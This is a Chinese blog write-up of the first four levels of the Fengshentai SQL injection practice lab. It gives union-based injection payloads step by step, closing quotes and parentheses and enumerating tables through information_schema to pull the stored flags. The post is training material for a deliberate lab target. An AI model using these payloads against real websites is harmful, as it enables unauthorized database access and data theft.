封神台 sql 注入靶场 writeup

今天给大家带来封神台 sql 注入靶场前 4 关的解题思路,并不算难。

地址

https://hack.zkaq.cn/battle#bid=cd23d4b58f0dfd3e

0x01

首先判断是否存在注入点,修改地址,尝试id=1 and 1=1可以正常显示数据,id=1 and 1=2无法显示数据,故存在注入。

继续猜解字段数,id=1 order by 1可以正常显示数据,一直到4才无法显示,故字段数为3,使用 id=1 and 1=2 union select 1,2,3界面显示如下。

可见第 2,3 个字段作为结果展示,我使用第 3 个字段,查询当前数据库,使用id=1 and 1=2 union select 1,2,database()界面显示 Your Password:error,刚开始还以为出错了,后面发现是数据库就叫 error,所以得到当前数据库为 error。

继续查询当前数据库中的表。

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()

显示 Your Password:error_flag,user,所以一共有 error_flag 和 user 这两张表,猜测 flag 在 error_flag 表,查询该表数据。

id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name ='error_flag'

得到共有两个字段 Id 和 flag,接着查询出 flag。

id=1 and 1=2 union select 1,2,group_concat(flag) from error_flag

为 zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K。一不小心把前 4 关的 flag 都查出来了,不过没关系我们可以当没看到后三个。

继续下一关。

0x02

和第一关基本一样,但是这里参数使用了单引号包裹,所以在构造语句时需要闭合单引号。

判断是否存在注入 

id=1' and  '1'='1,id=1' and  '1'='2

判断字段数

id=1' order by 1 %23,%23 为 # 号,在 sql 中为注释后面的内容,这里用来注释语句后面的单引号。这里字段数同样为 3。

查询当前数据库

id=1' and 1=2 union select 1,2,database() %23

查询当前数据库中的表

id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() %23

查询表中字段

id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name='error_flag

查询数据

id=1' and 1=2 union select 1,2,group_concat(flag) from error_flag %23

0x03

在上一关单引号的基础上添加了括号,闭合括号即可。

查询当前数据库

id=1') and 1=2 union select 1,2,database() %23

查询当前数据库中的表

id=1') and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() %23

查询表中字段

id=1') and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name=('error_flag

查询数据

id=1') and 1=2 union select 1,2,group_concat(flag) from error_flag %23

0x04

把上一关的单引号变成了双引号,换汤不换药。

查询当前数据库

id=1") and 1=2 union select 1,2,database() %23

查询当前数据库中的表

id=1") and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() %23

查询表中字段

id=1") and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name=("error_flag

查询数据

id=1") and 1=2 union select 1,2,group_concat(flag) from error_flag %23

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 首发地址:我的个人博客 前言 本文章产生的缘由是因为专业老师,让我给本专业的同学讲一哈SQL注入和XSS入门,也就...
    简言之_阅读 1,224评论 0 7
  • 1.绕过空格(注释符/* */,%a0): 两个空格代替一个空格,用Tab代替空格,%a0=空格: %20%09%...
    查无此人asdasd阅读 9,960评论 1 5
  • 成绩单 输入1,2,3发现都会显示不同的成绩单,输入4没有东西,输入1’没有东西显示,输入1’#又有了,测试了一下...
    Glarcy阅读 2,160评论 0 0
  • 表情是什么,我认为表情就是表现出来的情绪。表情可以传达很多信息。高兴了当然就笑了,难过就哭了。两者是相互影响密不可...
    Persistenc_6aea阅读 130,438评论 2 7
  • 16宿命:用概率思维提高你的胜算 以前的我是风险厌恶者,不喜欢去冒险,但是人生放弃了冒险,也就放弃了无数的可能。 ...
    yichen大刀阅读 8,727评论 0 4

友情链接更多精彩内容